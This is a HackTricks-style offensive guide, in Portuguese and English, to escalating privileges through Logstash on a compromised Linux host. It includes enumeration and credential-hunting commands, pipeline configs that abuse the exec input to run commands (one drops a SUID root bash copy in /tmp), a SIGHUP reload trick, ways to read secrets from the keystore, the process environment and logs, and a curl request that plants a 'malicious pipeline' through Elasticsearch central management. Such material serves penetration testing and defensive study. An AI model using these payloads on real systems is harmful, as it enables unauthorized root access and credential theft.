Logstash Privilege Escalation

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Logstash

Logstash é usado para coletar, transformar e encaminhar logs através de um sistema conhecido como pipelines. Esses pipelines são compostos por estágios de input, filter, e output. Um aspecto interessante surge quando o Logstash opera em uma máquina comprometida.

Configuração de pipelines

Pipelines são configurados no arquivo /etc/logstash/pipelines.yml, que lista os locais das configurações das pipelines:

# Define your pipelines here. Multiple pipelines can be defined.
# For details on multiple pipelines, refer to the documentation:
# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html

- pipeline.id: main
path.config: "/etc/logstash/conf.d/*.conf"
- pipeline.id: example
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6

Este arquivo revela onde os arquivos .conf, contendo as configurações de pipeline, estão localizados. Ao empregar um Elasticsearch output module, é comum que os pipelines incluam Elasticsearch credentials, que frequentemente possuem privilégios extensos devido à necessidade do Logstash de gravar dados no Elasticsearch. Coringas em caminhos de configuração permitem que o Logstash execute todos os pipelines correspondentes no diretório designado.

Se o Logstash for iniciado com -f <directory> em vez de pipelines.yml, todos os arquivos dentro desse diretório são concatenados em ordem lexicográfica e analisados como uma única config. Isso cria 2 implicações ofensivas:

  • Um arquivo dropado como 000-input.conf ou zzz-output.conf pode alterar como o pipeline final é montado
  • Um arquivo malformado pode impedir o carregamento de todo o pipeline, então valide payloads cuidadosamente antes de depender do auto-reload

Enumeração rápida em um host comprometido

Em uma máquina onde o Logstash está instalado, inspecione rapidamente:

ps aux | grep -i logstash
systemctl cat logstash 2>/dev/null
cat /etc/logstash/pipelines.yml 2>/dev/null
cat /etc/logstash/logstash.yml 2>/dev/null
find /etc/logstash /usr/share/logstash -maxdepth 3 -type f \( -name '*.conf' -o -name 'logstash.yml' -o -name 'pipelines.yml' \) -ls
rg -n --hidden -S 'password|passwd|api[_-]?key|cloud_auth|ssl_keystore_password|truststore_password|user\s*=>|hosts\s*=>' /etc/logstash /usr/share/logstash 2>/dev/null

Verifique também se a API de monitoramento local está acessível. Por padrão ela está vinculada em 127.0.0.1:9600, o que normalmente é suficiente após ter acesso ao host:

curl -s http://127.0.0.1:9600/?pretty
curl -s http://127.0.0.1:9600/_node/pipelines?pretty
curl -s http://127.0.0.1:9600/_node/stats/pipelines?pretty

Isso normalmente fornece IDs de pipeline, detalhes de runtime e confirmação de que seu pipeline modificado foi carregado.

Credenciais recuperadas do Logstash comumente desbloqueiam Elasticsearch, so check this other page about Elasticsearch.

Privilege Escalation via Writable Pipelines

To attempt privilege escalation, primeiro identifique o usuário sob o qual o serviço Logstash está sendo executado, tipicamente o usuário logstash. Garanta que você cumpra one dos seguintes critérios:

  • Possuir write access a um arquivo de pipeline .conf or
  • O arquivo /etc/logstash/pipelines.yml usa um wildcard, e você pode escrever na pasta de destino

Adicionalmente, one destas condições deve ser satisfeita:

  • Capacidade de reiniciar o serviço Logstash or
  • O arquivo /etc/logstash/logstash.yml tem config.reload.automatic: true definido

Dado um wildcard na configuração, criar um arquivo que corresponda a esse wildcard permite a execução de comandos. Por exemplo:

input {
exec {
command => "whoami"
interval => 120
}
}

output {
file {
path => "/tmp/output.log"
codec => rubydebug
}
}

Aqui, interval determina a frequência de execução em segundos. No exemplo dado, o comando whoami é executado a cada 120 segundos, com sua saída direcionada para /tmp/output.log.

Com config.reload.automatic: true em /etc/logstash/logstash.yml, o Logstash detectará e aplicará automaticamente novas ou modificadas configurações de pipeline sem precisar reiniciar. Se não houver um wildcard, ainda é possível fazer modificações em configurações existentes, mas recomenda-se cautela para evitar interrupções.

Payloads de pipeline mais confiáveis

O exec input plugin ainda funciona nas versões atuais e requer ou um interval ou um schedule. Ele executa por forking do JVM do Logstash, então se a memória estiver baixa seu payload pode falhar com ENOMEM em vez de rodar silenciosamente.

Um payload de privilege-escalation mais prático costuma ser aquele que deixa um artefato durável:

input {
exec {
command => "cp /bin/bash /tmp/logroot && chown root:root /tmp/logroot && chmod 4755 /tmp/logroot"
interval => 300
}
}
output {
null {}
}

Se você não tem permissão para reiniciar, mas pode enviar um sinal ao processo, o Logstash também suporta um recarregamento acionado por SIGHUP em sistemas do tipo Unix:

kill -SIGHUP $(pgrep -f logstash)

Esteja ciente de que nem todo plugin é compatível com recarga automática. Por exemplo, a entrada stdin impede a recarga automática, então não presuma que config.reload.automatic sempre detectará suas alterações.

Stealing Secrets from Logstash

Antes de focar somente em execução de código, colete os dados aos quais o Logstash já tem acesso:

  • Credenciais em texto plano costumam estar hardcoded dentro de elasticsearch {} outputs, http_poller, JDBC inputs, ou configurações relacionadas à nuvem
  • Configurações seguras podem residir em /etc/logstash/logstash.keystore ou em outro diretório path.settings
  • A senha do keystore é frequentemente fornecida através de LOGSTASH_KEYSTORE_PASS, e instalações via pacote comumente a obtêm a partir de /etc/sysconfig/logstash
  • A expansão de variáveis de ambiente com ${VAR} é resolvida na inicialização do Logstash, então vale a pena inspecionar o ambiente do serviço

Verificações úteis:

ls -l /etc/logstash /etc/logstash/logstash.keystore 2>/dev/null
strings /etc/logstash/conf.d/*.conf 2>/dev/null | head
tr '\0' '\n' < /proc/$(pgrep -o -f logstash)/environ 2>/dev/null | sort
cat /etc/sysconfig/logstash 2>/dev/null
journalctl -u logstash --no-pager 2>/dev/null | tail -n 200
ls -lah /var/log/logstash 2>/dev/null

Isso também vale a pena verificar porque CVE-2023-46672 mostrou que o Logstash podia registrar informações sensíveis em logs sob circunstâncias específicas. Em um host pós-exploração, logs antigos do Logstash e entradas do journald podem, portanto, revelar credenciais mesmo que a configuração atual faça referência ao keystore em vez de armazenar segredos inline.

Abuso do Gerenciamento Centralizado de Pipelines

Em alguns ambientes, o host não depende de arquivos locais .conf de forma alguma. Se xpack.management.enabled: true estiver configurado, o Logstash pode puxar pipelines gerenciados centralmente do Elasticsearch/Kibana, e após ativar esse modo as configs de pipeline locais deixam de ser a fonte da verdade.

Isso significa um caminho de ataque diferente:

  1. Recuperar credenciais Elastic das configurações locais do Logstash, do keystore, ou de logs
  2. Verificar se a conta possui o privilégio de cluster manage_logstash_pipelines
  3. Criar ou substituir um pipeline gerenciado centralmente para que o host Logstash execute seu payload no próximo intervalo de polling

A API do Elasticsearch usada por esse recurso é:

curl -X PUT http://ELASTIC:9200/_logstash/pipeline/pwned \
-H 'Content-Type: application/json' \
-u user:password \
-d '{
"description": "malicious pipeline",
"pipeline": "input { exec { command => \"id > /tmp/.ls-rce\" interval => 120 } } output { null {} }",
"pipeline_metadata": {"type": "logstash_pipeline", "version": "1"},
"pipeline_settings": {"pipeline.workers": 1, "pipeline.batch.size": 1}
}'

Isso é especialmente útil quando os arquivos locais são somente leitura, mas o Logstash já está registrado para buscar pipelines remotamente.

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks